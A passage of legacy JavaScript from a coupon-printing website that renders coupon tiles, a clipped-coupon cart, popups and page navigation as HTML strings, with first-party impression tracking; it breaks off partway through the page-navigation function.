// globals
// =================================================
var ci_PodsPerPage = (ci_PIDPodsPerPage > 1 ? ci_PIDPodsPerPage : 10);
var ci_MaxPodChars = 110;
var ci_ActivePodsArray = null;
var ci_RedrawContent = true;
ci_ZoomPopup = true;

// --------------------------------------------------------
function RenderLeftColumn()
{
    var currPC = document.getElementById(ci_controlPrefix+"PrintCart").value;
    var cartArray = currPC.length > 0? currPC.split(","): new Array();

    var clippedCouponHTML = "<table class=ci_css_table' style='margin: 0px;'>"
                +"<tr class=ci_css_tr><td class=ci_css_td style='padding-right:10px'>"
                +"<table class='ci_css_CpnCarrierTable'>"
                +"<tr class=ci_css_tr><td class=ci_css_td style='text-align:left;vertical-align:top;width:161px;height:145px;'>"
                +"<table class=ci_css_table style='border:0px solid red;width: 142px;height:129px;margin:6px;margin-top:7px;margin-left:7px;'>"
                +"<tr class=ci_css_tr><td class=ci_css_td colspan=2 style='width: 142px;'>"
                +"<img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/couponcarrierHeader.gif' style='width: 142px; height: 24px;'>"
                +"</td></tr>"
                +"<tr class=ci_css_tr><td class='ci_css_MoneySavedTitleTD'><img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/carriertextmoney.gif' style='margin:4px;width: 70px; height: 28px;'></td><td class='ci_css_MoneySavedValueTD'  id='ClippedCouponTotalTD'><div class='ci_css_MoneySavedValueTD' style='margin:4px;'>$0.00</div></td></tr>"
                +"<tr class=ci_css_tr><td class=ci_css_td colspan=2 style='width: 142px;text-align:center;padding:5px;padding-bottom:0px;padding-top:0px;'><div class='ci_css_div'  style='width:100%;height:14px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;'></div></td></tr>"
                +"<tr class=ci_css_tr><td class='ci_css_CpnClippedTitleTD'><img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/carriertextclipped.gif' style='margin:2px;width: 70px; height: 28px;'></td><td class='ci_css_CpnClippedValueTD' id='ClippedCouponsTD'><div class='ci_css_CpnClippedValueTD' style='margin:2px;'>0</div></td></tr>"
                +"</table>"
                +"<div class=ci_css_div id='CartWrapper' style='display:none;padding-left:8px;width:100%;vertical-align:top;border:solid 0px'>"+ ReturnCartHTML(cartArray) +"</div>"
                +"</td></tr></table>"
                +"</td></tr>"
                +"</table>"
                +'<div class=ci_css_ClippedCouponPopup id="CartCouponPopup" style="width: 322px; margin: 0px;"><div class=ci_css_div style="margin:0px;width:292;height:149; ' + (ci_bIE ? "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/ClippedCouponPopupBkg.png', sizingMethod='scale');" : "background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/ClippedCouponPopupBkg.png) no-repeat;" ) + '"></div><div class=ci_css_div id="CartCouponPopupContent" style="width: 220px; height: 130px; position: relative; top: -140px; left: 0px; margin: 0px; margin-left: 35px; margin-right: 67px;"></div></div>';

    var onPrintMessage = "<div  class='PrintOnly' style='left:280px;top:360px;position:absolute;z-index:100;'>"
                + "<img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/onPrintMessage.gif'>"
                + "</div>" 
    var localCatHTML = ((typeof(ci_localOffersSupported) != "undefined" && ci_localOffersSupported) ? '<div class=ci_css_div  style="margin-left: 10px;width:135;height:24px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;"></div>'
                        +'<div class=ci_css_div id="listLocalCategory" style="width: 142px; margin-left: 12px; margin-right: 0px; overflow: hidden"></div>' : '');
    
    return onPrintMessage
           +'<table class=ci_css_table style="width: 156px;border:solid 0px"><tr class=ci_css_tr>'
           +'<td class=ci_css_td style="width: 140px;vertical-align:top">'
           +clippedCouponHTML
           +'<div class=ci_css_div id="dvViewBy" style="height: '+((140*5) + 30)+'px;">' //height should be calculated dynamically: to do
           +'<div class=ci_css_div  style="margin-left: 10px;width:135;height:24px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;"></div>'
           +'<div class=ci_css_div id="listCategory" style="width: 142px; margin-left: 12px; margin-right: 0px; overflow: hidden;"></div>'
           +'<div class=ci_css_div  style="margin-left: 10px;width:135;height:24px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;"></div>'
           +'<div class=ci_css_div id="listBrand" style="width: 142px; margin-left: 12px; margin-right: 0px; overflow: hidden;"></div>'
           + localCatHTML
           +'</div><img src="http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/poweredByCoupons.gif" style="margin-left: 14px;width: 140px; height: 36px;"></td>'
           +'<td class=ci_css_td style="width: 16px;"><img class=ci_css_img src="http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/lBorderFade.jpg" style="width: 16px; height: 587px;"></td></tr></table>';
}

// --------------------------------------------------------
function RenderContent(pageNo)
{

   if( document.getElementById("DivContent") != null ) { document.getElementById("DivContent").style.width = "750px"; }
   //if( document.getElementById("PersonalizationTab") != null ) { document.getElementById("PersonalizationTab").style.width = "612px"; }
   //if( document.getElementById("CouponTab") != null ) { document.getElementById("CouponTab").style.width = "730px"; }
   if( document.getElementById("NavTabContainerTable") != null ) { document.getElementById("NavTabContainerTable").style.width = "730px"; }

	
   // top 
   var pageHTML='<table class=ci_css_table style="width: 100%;">'
            +'<tr class=ci_css_tr><td class=ci_css_td>' + RenderNavigationBar(pageNo,0) + '</td></tr>'
            +'<tr class=ci_css_tr><td class=ci_css_td id="OffersPageInnerContent" style="padding-left: 2px;">';

   // inner
   pageHTML += RenderInnerContent(pageNo);

   // footer
   pageHTML += '</td></tr>'
               +"<tr class=ci_css_tr><td class=ci_css_td id='MsgFooterTD' style='display: none; vertical-align: top; padding-bottom: 2px;'>&nbsp;</td></tr>"
               +'<tr class=ci_css_tr><td class=ci_css_td><table class=ci_css_table style="z-index: 1;"><td class=ci_css_td style="height: 34px;">' + RenderNavigationBar(pageNo,1) + '</td></tr></table></td></tr>'
               +"</table>";
   ci_RedrawContent = false;
   return pageHTML;
}

// --------------------------------------------------------
function RenderInnerContent(pageNo)
{
   var pageHTML = "";
   var slot=0,i=0;
   var concordCIDs = ci_preferredCID.split("~");
   if( pageNo > 1 )
   {
       var page=1;       
       for( ; i<ci_sortedPods.length; i++ )
       {   
            if((ci_sortedPods[i].type > 16) &&(ci_sortedPods[i].type<=21))
            {
              if(ci_preferredCID.length == 0)
                continue; 
              else if (!(( concordCIDs.length > 0 ) && (concordCIDs.contains(ci_sortedPods[i].id))))
                continue;
            }    
            slot += (ci_sortedPods[i].coupuse == 2 ? 2 : 1);
            if( slot > ci_PodsPerPage ) 
            { 
                page++;     
                slot=(ci_sortedPods[i].coupuse == 2 ? 2 : 1);
                if( page == pageNo ) break;
            }       
       }
   }

   ci_ActivePodsArray = new Array();
   slot=0;
   while(i < ci_sortedPods.length && slot < ci_PodsPerPage)
   {
       pageHTML += ReturnColumnstart(slot);
       var obj = ci_sortedPods[i];
       if (obj==undefined)
          break;
     
       if((obj.type > 16) &&(obj.type<=21))
       {
          
          if(ci_preferredCID.length == 0)
          { 
            i++;
            continue;
          }   
          else if (!(( concordCIDs.length > 0 ) && (concordCIDs.contains(obj.id))))
          {
            i++;
            continue;
          }
       } 
         
       var dynPODPropObj = GetDynPODProps(obj); 
       var isChecked = IsPODChecked(obj.id);

       if ((obj.pretext) == "")
          obj.pretext = "Sign up for more information on products and promotions.";

       if ((obj.posttext) == "")
          obj.posttext = "Thank you! <br> You are now ready to print the coupon and enjoy the savings!";    

       if(obj.coupuse == 2)
       {      
           // double pod
           pageHTML += "<td class=ci_css_td colspan='2' id='PODSlot" + slot + "_" + obj.id + "' style='background-image:url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/light_rays.gif); background-repeat: repeat;'>";
       }
       else
       {
           // single pod
           pageHTML += "<td class=ci_css_td id='PODSlot" + slot + "_" + obj.id + "'>";
       }

       // render the pod
       ci_ActivePodsArray.push(obj);

       pageHTML += RenderPod(obj, dynPODPropObj.allowPrint, slot, isChecked, dynPODPropObj.actionTaken);              
       pageHTML += "</td>";

       i++;
       // double pod ?
       slot += ( obj.coupuse == 2 ? 2 : 1 );
       
       if (obj.LogImp == 1)
       {
            //Build Action String for Impressions
            // callback to offersCore.js
            BuildActionString(obj.id,obj.type,3);
       }          
   } // end while

   // last page
   while( slot < ci_PodsPerPage && i == ci_sortedPods.length )
   {
       // if this is the only page then don't show the blank pods
       if( pageNo == 1 && slot%2 == 0 ) break;

       // if this is the last page then don't show the blank pods after slot 10
       if( slot >= 10 && slot%2 == 0 ) break;

       // fill the empty contents with blank pods
       obj = {id:0,type:-1,catdesc:"",coupuse:"1",coupval:0,horz:0,imgURL:"",infoUrl:"",vidUrl:"",lnkText:"",prodInfo:"",summ:"",prodInfo:"",actDt:"1/1/2000",pretext:"",posttext:"",pSpt:"0",LogImp:"0"}
       pageHTML += ReturnColumnstart(slot);
       pageHTML += "<td class=ci_css_td id='PODSlot" + slot + "_" + obj.id + "'>";
       pageHTML += ReturnBlankPodHTML();
       pageHTML += "</td>";
       slot++;
  }

   //call back offersCore.js 
   TrackAction(0);
   pageHTML += "</tr></table>";
   return pageHTML;
}

// --------------------------------------------------------
function TrackCustomCoupon(id)
{
    if( document.getElementById("ClientImgDiv") != null )
    {
       var userCookie = GetCookie("UserInfo");
       var imagePxlHTML = '<img src="http://print.coupons.com/podimp.asp'
                                    + '?p='+GetQueryStringValue('pid')
                                    + '&n='+GetQueryStringValue('nid')
                                    + '&c='+id
                                    + '&u='+GetCookieVal(userCookie,"uid")
                                    + '&d='+GetCookieVal(userCookie,"mac")
                                    + '" border="0" width="1" height="1">';
       document.getElementById("ClientImgDiv").innerHTML = imagePxlHTML;
    }
}

// --------------------------------------------------------
function RenderPod(obj, allowPrint, slot, isChecked, actionTaken)
{   
    if( obj.id == 14473371 || obj.id ==  14482189 )
    {
       setTimeout('TrackCustomCoupon('+obj.id+');',2000);
    }
    	
    // don't display more than max chars per pod
    if( obj.summ.length + obj.prodInfo.length > ci_MaxPodChars 
            && ci_MaxPodChars > obj.summ.length )
    {
       obj.prodInfo = obj.prodInfo.substring(0,ci_MaxPodChars-obj.summ.length) + "...";
    }

    var podHTML = "<table class=ci_css_table><tr class=ci_css_tr>";

    if (obj.type == 9) 
    {
        podHTML += ReturnACQPodHTML(obj, allowPrint, slot, isChecked, actionTaken);
    }
    else if(obj.type == 13)
    {
      // video pod
      if(flashVersion >= 7)
      {
         // creating the image path for the default image
         var strarray = obj.vidUrl.split("/");
         obj.imgURL = "";
         for (var q=0;q<strarray.length-1;q++)
            obj.imgURL = obj.imgURL + strarray[q] + "/";
         obj.imgURL = obj.imgURL + "promo.jpg";
         podHTML += ReturnVDOPodHTML(obj, allowPrint, slot, isChecked, actionTaken);
      }
      else
      {
         podHTML += ReturnNormalPodHTML(obj, allowPrint, slot, isChecked);
      }
    }
    else if(obj.type == 14 || obj.type == 15)
    {
      podHTML += ReturnCPCPodHtml(obj, allowPrint, slot, isChecked, actionTaken); 
    }  
    else if((obj.type > 16) &&(obj.type<=21) && (ci_preferredCID.length > 0)) 
    {
         // this draws all the pods of the concordance type
        var concordCIDs = ci_preferredCID.split("~");
        if(( concordCIDs.length > 0 ) && (concordCIDs.contains(obj.id)))
        {
            if(obj.type == 17)
                podHTML += ReturnNormalPodHTML(obj, allowPrint, slot, isChecked);
            else if(obj.type == 18){
                    if( actionTaken == 1 )
                    {
                        podHTML += ReturnNormalPodHTML(obj, allowPrint, slot, isChecked);
                    }
                    else
                    {
                        podHTML += ReturnACQPodHTML(obj, allowPrint, slot, isChecked, actionTaken);        
                    }
            }
            else  if(obj.type == 19){
                  // video pod
                  if(flashVersion >= 7)
                  {
                     // creating the image path for the default image          
                     var strarray = obj.vidUrl.split("/");
                     obj.imgURL = "";
                     for (var q=0;q<strarray.length-1;q++)
                        obj.imgURL = obj.imgURL + strarray[q] + "/";
                     obj.imgURL = obj.imgURL + "promo.jpg";   
                     podHTML += ReturnVDOPodHTML(obj, allowPrint, slot, isChecked, actionTaken);
                  }         
                  else
                  {
                     podHTML += ReturnNormalPodHTML(obj, allowPrint, slot, isChecked);
                  }
            }    
            else if(obj.type == 20 ||obj.type == 21)
                podHTML += ReturnCPCPodHtml(obj, allowPrint, slot, isChecked, actionTaken); 
            
        }
    }
    else if(obj.type == 22)                 
    {
      podHTML += ReturnMailOrderPodHTML(obj, allowPrint, slot, isChecked, actionTaken);
    }
    else if(obj.type == 0)                 
    {
      podHTML += ReturnNormalPodHTML(obj, allowPrint, slot, isChecked);
    } 

    return podHTML;    
}

// --------------------------------------------------------
function ReDrawPod(CID)
{
    // get the coupon object
    var obj = null;    
    for( var i=0; i<ci_sortedPods.length; i++ )
    {
       if( ci_sortedPods[i].id == CID )
       {
            obj = ci_sortedPods[i];
            break;
       }
    }       
    
    if( obj != null )
    {            
        var PODContentTable = document.getElementById("PODContentTable");
        for( var i=0; i<PODContentTable.rows.length; i++ )
        {
           for( var j=0; j<PODContentTable.rows[i].cells.length; j++ )
           {            
                var PODid = PODContentTable.rows[i].cells[j].id;
                if( PODid != null && PODid.indexOf("PODSlot") > -1 )
                {
                    var couponID = PODid.substring(PODid.indexOf("_")+1);
                    if( couponID == CID )
                    {
                        var dynPODPropObj = GetDynPODProps(obj); 
                        var isChecked = IsPODChecked(obj.id);   
                        document.getElementById(PODid).innerHTML = RenderPod(obj, dynPODPropObj.allowPrint, i, isChecked, dynPODPropObj.actionTaken);
                        return;   
                    }
                }
           }
        }       
    }
}

// --------------------------------------------------------
function ReturnColumnstart(slot)
{
    var pageDesc = "";
    var mod9 = slot % ci_PodsPerPage;
    
    if( mod9 == 0 )
    {
	    pageDesc = "<table class=ci_css_table id='PODContentTable'><tr class=ci_css_tr>";    
    }
    else if( mod9%2 == 0 )
    {
	    pageDesc = "</tr><tr class=ci_css_tr>";
    }
    
	return pageDesc;
}

// --------------------------------------------------------
function RenderHeader()
{          
	    
    var pTab = document.getElementById("PersonalizationTab");
    var personalization = "";
    if( !ci_HideRegistrationLink )
    {
        var user = ci_regObj.user.replace(/^\s+/,'').replace(/\s+$/,'');
        if( ci_regObj.isLoggedIn > 0 )
        {
            if( ci_regObj.isAutoreg <= 0 )
            {
            //changed the register.aspx to http://print.coupons.com/couponweb/Login.aspx?pid=14708&zid=iw96&nid=10&bid=alk0506070515dyfbf4864310
                personalization = "<div class='ci_css_div' style='height: 15px; float:right;'><span class='ci_css_span'>Hello " + user + "!&nbsp;&nbsp;</span><span class='ci_css_span'><a class='ci_css_a'  href='Register.aspx?" + ci_queryString + "'>Edit Profile</a></span><font size=2 color='#cccccc'>&nbsp;|&nbsp</font><span class='ci_css_span' ><a class='ci_css_a'  href='Login.aspx?" + ci_queryString + "'>Sign Off</a>"+(pTab == null && navigator.userAgent.toLowerCase().indexOf("safari") > -1 ? "&nbsp;" : "")+"</span></div>";
            }
        }
        else
        {
            personalization = "<div class='ci_css_div' style='float:right;display:none'><a class='ci_css_a'  href='http://print.coupons.com/couponweb/Login.aspx?pid=14708&zid=iw96&nid=10&bid=alk0506070515dyfbf4864310" + ci_queryString + "'><strong>Register</strong></a><font size=2 color='#cccccc'>&nbsp;&nbsp;|&nbsp;&nbsp;</font><a class='ci_css_a'  href='http://print.coupons.com/couponweb/Login.aspx?pid=14708&zid=iw96&nid=10&bid=alk0506070515dyfbf4864310" + ci_queryString + "'><strong>Sign In</strong></a></div>";
        }
    }

    if( pTab != null )
    {
    	 pTab.innerHTML = personalization;
    	 personalization = "";
    }
    else if( personalization.length > 0 )
    {
    	 personalization = "<div class='ci_css_div' style='width: 530px; height: 15px;'>" + personalization + "</div>";
    }
    
    return personalization
    				+ "<table class=ci_css_table style='width: 100%;'>"
            +"<tr class=ci_css_tr>"
            +"   <td class=ci_css_td><img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/"+(typeof(ci_offerHeaderImage) != "undefined" ? ci_offerHeaderImage : "coup_face.jpg")+"' style='width: 530px; height: 70px; margin-top: 10px;' alt='Free Coupons'></td>"
            +"   </td></tr>"
            +"</table>"
            +"<div class='ci_css_div' id='TAFDiv' style='z-index:100; position: absolute; left: -2000px;'></div>";      
}

// --------------------------------------------------------
function RenderFooter()
{
    return "<center><div class=ci_css_div style='width:575px;"+(typeof(ci_PageFooter) != "undefined" && ci_PageFooter.length > 0 ? "margin-top: 30px;'>" + ci_PageFooter : "margin-top: 0px;'>")+"</div></center>"
            +"<img class=ci_css_img src='Themes/CI_Holiday_2007/_images/podBgDashSel.jpg' style='position: absolute; top: -2000px; left: -2000px;'>";
}

// --------------------------------------------------------
function ReturnCartHTML(cartArray)
{
    var cartTotal = 0;
    var cartItemHtml = "<div class=ci_css_div id='CartTbl' style='margin: 0px; "+ (ci_bSafari?"position:relative;":"") +"display: block; width: 164px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/cartBkg.jpg); background-color: #B7E1FA;background-repeat:no-repeat;'>"
                +"<div class=ci_css_div style='width: 140px;padding-top: 35px;margin-left:10px;margin-right:10px;margin-bottom:5px;'>";

    if(cartArray.length > 0)
    {
        for(var i=0;i<cartArray.length;i++)
        {
            for (var j=0;j<ci_pods.length;j++)
            {
                if (ci_pods[j].id == cartArray[i])
                {
                    cartTotal += ci_pods[j].coupval;
                    if(i < cartArray.length-1)
                        cartItemHtml += "<div class='ci_css_div' onclick='var e = arguments[0] || window.event; OpenCartCouponPopup(" + ci_pods[j].id + ");' onmouseover='this.style.backgroundColor=\"#5FBBE0\";this.style.color = \"#FFFFFF\";' onmouseout='this.style.backgroundColor=\"\";this.style.color = \"#0B5A9C\";' style='width: 136px;padding:2px;border-width: 0px;cursor:pointer;cursor:hand;color:#0B5A9C;font-size:9px;font-weight:bold' id='CartCoupon"+ ci_pods[j].id +"'>"+ (ci_pods[j].brand !=''?(ci_pods[j].brand + ", "):"") + ci_pods[j].summ +"</div>"
                                        +"<img class=ci_css_img style='margin-left: 2px; display: block; width: 133px; height: 1px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/cartItemBorder.gif'>";
                    else
                        cartItemHtml += "<div class='ci_css_div' onclick='var e = arguments[0] || window.event; OpenCartCouponPopup(" + ci_pods[j].id + ");' onmouseover='this.style.backgroundColor=\"#5FBBE0\";this.style.color = \"#FFFFFF\";' onmouseout='this.style.backgroundColor=\"\";this.style.color = \"#0B5A9C\";' style='width: 136px;padding:2px;cursor:pointer;cursor:hand;color:#0B5A9C;font-size:9px;font-weight:bold' id='CartCoupon"+ ci_pods[j].id +"'>"+ (ci_pods[j].brand !=''?(ci_pods[j].brand + ", "):"") + ci_pods[j].summ  +"</div>";
                    break;
                }
            }        
        }
    }
    else
    {
        cartItemHtml += "<div class='ci_css_div' style='width: 136px;padding:2px;color:#0B5A9C;font-size:9px;font-weight:bold'>You currently have no clipped coupons</div>";
    }
    
    //update the cart total amount
    var strCartTotal = "$" + (cartTotal > 0? (cartTotal/100) : "0.00");
    if(strCartTotal.indexOf(".") == -1)
        strCartTotal += ".00";
    else if(strCartTotal.substring(strCartTotal.indexOf(".")).length <=2)
        strCartTotal += "0";
    
    if(document.getElementById("ClippedCouponTotalTD") != null)
        document.getElementById("ClippedCouponTotalTD").innerHTML = strCartTotal;
    if(document.getElementById('CartCouponPopup') != null)
        document.getElementById('CartCouponPopup').style.display = "none";
    
    
    cartItemHtml += "</div>"
                    +"<img class=ci_css_img style='display: block; width: 164px; height: 6px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/cartBorderBkg" + (cartArray.length < 3 ? 1 : (cartArray.length > 4 ? 3 : 2)) + ".gif'>"
                    +"<img class=ci_css_img style='display: block; width: 164px; height: 3px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/bottomCartBkg.jpg'>"
                    +"</div>";
    return cartItemHtml;
}
// --------------------------------------------------------
function TglCartView(obj)
{
    var CartWrapper = document.getElementById('CartWrapper');
    if(CartWrapper.style.display == "none")
    {
        CartWrapper.style.display = "block";
        obj.src = "http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnHideCoupons.gif";
    }
    else
    {
        CartWrapper.style.display = "none";
        obj.src = "http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnViewCoupons.gif";
        if(document.getElementById('CartCouponPopup') != null)
        document.getElementById('CartCouponPopup').style.display = "none";
    }
   
}
// --------------------------------------------------------
function OpenCartCouponPopup(couponId)
{   
    var cartCouponPopup = document.getElementById('CartCouponPopup');
    var cartCoupon = document.getElementById('CartCoupon' + couponId);
    if( cartCouponPopup != null )
    {
        document.getElementById('CartCouponPopupContent').innerHTML = ReturnCartCouponPopupHTML(couponId);
        var top = findPosY(cartCoupon)-135;
        var scrollYPos = ( window.pageYOffset || document.body.scrollTop );
        if( top < scrollYPos )
        {
            window.scrollTo(0,top);
        }
        
        cartCouponPopup.style.left = (findPosX(cartCoupon)-315) + "px";
        cartCouponPopup.style.top = top + "px";
        cartCouponPopup.style.display = 'block';  
    } 
}
// --------------------------------------------------------
function CloseCartCouponPopup(couponId)
{
   var cartCouponPopup = document.getElementById('CartCouponPopup');
   if( cartCouponPopup != null )
    {
        cartCouponPopup.style.display = 'none';  
    } 
}
// --------------------------------------------------------
function findPosX(obj)
  {
    var curleft = 0;
    if(obj.offsetParent)
        while(1) 
        {
          curleft += obj.offsetLeft;
          if(!obj.offsetParent)
            break;
          obj = obj.offsetParent;
        }
    else if(obj.x)
        curleft += obj.x;
    return curleft;
  }
   
  // --------------------------------------------------------
  function findPosY(obj)
  {
    var curtop = 0;
    if(obj.offsetParent)
        while(1)
        {
          curtop += obj.offsetTop;
          if(!obj.offsetParent)
            break;
          obj = obj.offsetParent;
        }
    else if(obj.y)
        curtop += obj.y;
    return curtop;
  }


// --------------------------------------------------------
function ReturnCartCouponPopupHTML(couponId)
{       
  
    for (var j=0;j<ci_sortedPods.length;j++)
    {
        if (ci_sortedPods[j].id == couponId)
        {
            return '<table class=ci_css_table style="width: 219px; height: 16px;margin:0px;">'
                    +'    <tr class=ci_css_tr>'
                    +'      <td class=ci_css_td style="width: 224px; text-align: right; vertical-align: top;"><a class=ci_css_a href="javascript:CloseCartCouponPopup(' + ci_sortedPods[j].id + ');"><img class=ci_css_img alt="close window" style="width: 13px; height: 16px; float: right; cursor: hand; cursor: pointer;" src="http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/closeIconBig.gif"></a></td>'
                    +'    </tr>'
                    +'  </table>'

                    // content
                    + '<table class=ci_css_table style="width: 210px; height:105px; margin:0px; margin-left: 5px;">'
                    +'  <tr class=ci_css_tr>'
                    +'        <td class=ci_css_td style="text-align: center;vertical-align:middle;height:85px;"><img class=ci_css_img style="width: 80px; height: 80px;" src="' + ci_sortedPods[j].imgURL + '"></td>'
                    +'        <td class=ci_css_td style="vertical-align:middle;padding-left:5px;height:85px;">'
                    + ((ci_sortedPods[j].brand !='')?('<div class=ci_css_div style="width:130px;overflow:hidden;font-weight: bold;color:#124c9e;font-size:13px;">'+ ci_sortedPods[j].brand +'</div>'): '')
                    +'	            <div class=ci_css_div style="width:130px;overflow:hidden;font-weight: bold;color:#2e2e2e;font-size:12px;">'+ ci_sortedPods[j].summ +'</div>'
                    +'	            <div class=ci_css_div style="width:130px;overflow:hidden;font-size:10px;color:#616161">'+ ci_sortedPods[j].midLvl +'</div>'
                    +'        </td>'
                    +'  </tr>'
                    +'  <tr class=ci_css_tr><td class=ci_css_td colspan=2 style="width: 220px;text-align: center; height:20px;padding-left:5px;padding-right:5px;"><div class=ci_css_div  style="width:100%;height:20px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;"></div></td></tr>'
                    +'</table>'
        }
    }        
}

// --------------------------------------------------------
function SelectAllOffers(pageNo)
{   
    for( var i=0; i<ci_PodsPerPage; i++ )
    {
        if( document.getElementById("ClipDiv"+i) != null )
        {
            var ClipDivHTML = document.getElementById("ClipDiv"+i).innerHTML.toString();
            var CID = ClipDivHTML.substring(ClipDivHTML.indexOf('cpcartchk')+9,ClipDivHTML.indexOf('cpcartchk')+20);
            CID = CID.substring(0,CID.indexOf(' '));
            CID = GetNumericValue(CID);
            AddPod(CID);
        }
    }
 
    setTimeout("SelectAll();",300);
}
 
// --------------------------------------------------------
function RenderPageNav(pageNo,ID)
{
    var navPages = 15;
    var vNav = "<table class=ci_css_table style='width: 520px;"+(ID == 1?'margin-top: 3px; margin-bottom: 3px; margin-left: 4px;':'')+"'><tr class=ci_css_tr><td class=ci_css_td>";
    vNav += "<div class=ci_css_div style='float: left; width: 100px;'><table class=ci_css_table style='margin-top: 2px;'><tr class=ci_css_tr><td class=ci_css_td>";
    var pagePadding = (ci_numPages > 10 ? 3 : 4 );
    
    var sPage = pageNo-Math.floor(navPages/2);
    if( pageNo > ci_numPages-Math.floor(navPages/2) ) { sPage = ci_numPages-navPages+1; }
    if( sPage < 1 ) { sPage = 1; }

    // previous page link
    if( pageNo == 1 )
    {
        vNav += "<td class=ci_css_td style='width: 22px; vertical-align: top;'><img class=ci_css_img style='margin-top: 0px; margin-left: 1px; margin-right: 4px; height: 17px; width: 17px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/button_prev_disabled.gif'></td>";
    }
    else
    {
        vNav += "<td class=ci_css_td style='width: 22px; vertical-align: top;'><a class=ci_css_a id='PrevPageLink' href='javascript:GoToPage(" + (pageNo-1) + ")'><img class=ci_css_img style='margin-top: 0px; margin-left: 1px; margin-right: 4px; cursor: hand; cursor: pointer; height: 17px; width: 17px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/button_prev.gif'></a></td>";
    }
    
    vNav += "<td class=ci_css_td style='text-align: left;'><table class=ci_css_table style='margin-top: 2px;'><tr class=ci_css_tr>";
    for( var i=sPage; i<sPage+navPages && i<=ci_numPages; i++ )
    {       
        if( i > sPage )
        {
            vNav += "<td class=ci_css_td style='color: #777777;'>|</td>";
        }
        if( i == pageNo )
        {
    		vNav += "<td class=ci_css_td style='padding-left: "+pagePadding+"px; padding-right: "+pagePadding+"px; text-align: center;'><span class=ci_css_ActivePage id='page" + ID + i + "'>" + i + (i==sPage+navPages-1 && i<ci_numPages ? "+" : "") + "</span></td>";
	    }
	    else
	    {
    		vNav += "<td class=ci_css_td style='padding-left: "+pagePadding+"px; padding-right: "+pagePadding+"px; text-align: center;'><a class=ci_css_a href=javascript:GoToPage(" + i + ")><span class=ci_css_InactivePage id='page" + ID + i + "'><strong><b>" + i + (i==sPage+navPages-1 && i<ci_numPages ? "+" : "") + "</b></strong></span></a></td>";
	    }
    }
	vNav += "</tr></table></td>";
        
    // next page button
    if( pageNo < ci_numPages )
    {
        // next page link
    	vNav += "<td class=ci_css_td style='width: 21px;'><a class=ci_css_a id='NextPageLink' href='javascript:GoToPage(" + (pageNo+1) + ")'><img class=ci_css_img style='margin-top: 0px; margin-left: 5px; margin-right: 4px; cursor: hand; cursor: pointer; height: 17px; width: 17px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/button_next.gif'></a></td>";
    }
    else
    {
        // next page link
    	vNav += "<td class=ci_css_td style='width: 21px;'><img class=ci_css_img style='margin-top: 0px; margin-left: 5px; margin-right: 4px; height: 17px; width: 17px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/button_next_disabled.gif'></td>";
    }
    
	vNav += "</tr></table></div></td>";
	
	
	///print icon set-up * testing
	if(ci_PrintIcon){
        vNav += RenderPrintIcon(ID);
    }
    
    
    if( pageNo >= ci_numPages )
    {
    	vNav += "<td style='text-align:right;width:130px;'><img id='MoreCouponsImg' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnPrintClipped.jpg' style='width: 110px; height: 20px; cursor: hand; cursor: pointer; margin-right: 6px;' onclick='PrtCartHandling(\"PrintBtnA" + ID + "\")'></td>";
    }
    else
    {
    	vNav += 	
